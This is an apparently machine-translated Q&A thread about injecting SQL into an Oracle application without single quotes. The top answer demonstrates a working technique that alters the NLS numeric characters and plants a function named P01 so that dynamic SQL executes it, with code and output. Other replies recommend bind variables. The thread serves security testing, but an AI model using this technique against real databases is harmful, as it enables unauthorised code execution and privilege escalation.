Oracleで一重引用符を使用せずに文字列から抜け出し、SQLを注入する方法はありますか?


12

Oracleベースのアプリケーションをテストしていますが、次のコードが見つかりました。

クエリ= "従業員から名前を選択WHERE id = '" + PKID + "';"

つまり、クエリ文字列には、URLから直接取得されたPKID値を引用符で囲みます。

明らかに、これは起こるのを待っている古典的なSQLインジェクションです...ただし、アプリケーションはCA SiteMinderの背後にあり、単一引用符で囲まれたURLを(任意の形式で)アプリケーションに渡されないようにブロックします。

文字列から抜け出し、一重引用符を使用せずにSQLを挿入する方法はありますか?

編集:申し訳ありませんが、私は明確にすべきだった-私はそれどのように書かれるべきか理解していますが、私はそれが悪用可能な問題であることを人々に説得する必要があります。現時点では、単一引用符をブロックするsiteminderの背後にあるため、優先度の低い修正になります。


1
バインド変数を使用してみましたか?
-JHFB

@JHFBが言ったこと。変数のバインドは標準的な方法です。
フィリ

回答:


9

はい、パラメーターに引用符を付けずにSQLインジェクション攻撃を実行することができます。

これを行う方法は、数字や日付の処理方法を悪用するエクスプロイトを使用することです。セッションレベルで、日付または数値の形式を指定できます。これを操作することにより、任意のキャラクターを注入できます。

英国および米国のデフォルトでは、コンマを使用して数字の3桁ごとの区切り記号と小数点の完全な区切りが示されます。以下を実行することにより、これらのデフォルトを変更できます。

alter session set nls_numeric_characters = 'PZ';

これは、「P」が小数点になり、「Z」が桁区切り記号になることを意味します。そう:

0P01

0.01の数値です。ただし、関数P01を作成すると、数値変換の前にオブジェクト参照が取得されます。これにより、次のように、データベースで機能を実行して権限を増やすことができます。

基本的な「get by id」関数を作成します。

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

また、望ましくない処理を行う関数P01を作成します(この場合はテーブルを作成するだけですが、アイデアは得られます)。

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

そして、私たちは行ってもいいです:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

どこにも引用符はありませんが、「隠された」関数P01を実行してテーブルを作成することができましたt

実際にはこれを行うのは難しいかもしれませんが(内部の知識や助けが必要になるかもしれません)、これは引用符なしでSQLを注入できることを示しています。変更nls_date_format同様のことを行うことができるようにすることができます。

元の数字の発見はDavid Litchfieldによるもので、彼の論文はこちらで読むことができますここで、日付がどのように活用されるかについてのTom Kyteの議論を見つけることができます。


4

おそらく、使用しているデータ型をオーバーロードし、そのステートメントを失敗させる可能性があります。その後、実行される可能性があります。

ユニコードのバイト配列として送信すると、トリックが実行され、そのステートメントから別のステートメントに移動できる場合があります。

穴が開いている場合、悪用されます。また、姓が「O'Brian」である人は(とりわけ)顧客になれないため、すべての文字列を一重引用符でブロックすることはお勧めできません。


「全体」ではなく「穴」を意味すると思います。
ypercubeᵀᴹ

1

バインド変数を使用してみてください。数値として宣言できます。これにより、SQLインジェクションの損傷を防ぐことができます。

追加:バインド変数は、クエリプランが再利用のためにコンパイルおよび保存されるため、パフォーマンスとスケーラビリティも向上します。あなたの議論に追加する何か他のもの。:)


1
彼は注射を防ぐ方法についてではなく、それを乱用する方法について尋ねています。
ジェフ

1
@jeff OPは、この種のコードを使用しない理由も尋ねます。バインド変数を使用しないとパフォーマンスが低下するため、常に使用するのが妥当な理由です。
ビンセントマルグラット

@Vincent Malgrat:「バインド変数を使用しないとパフォーマンスが低下する」は間違っています。バインド変数を使用することで、ステートメントの再コンパイルを回避できるのは事実です。また、バインド変数を使用しない場合、多くの類似したステートメントによって共有プールがあふれます。それでも、リテラル値の代わりにバインド変数を使用する場合、オプティマイザーはプランを構築するための情報が少なくなります。バインド変数の値(またはリテラル値)に応じて、異なる計画を選択する必要がある状況があります。
miracle173

@ miracle173もちろん例外もありますが、OPで指定されたプライマリキールックアップではありません、決して=)
ビンセントマルグラート
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.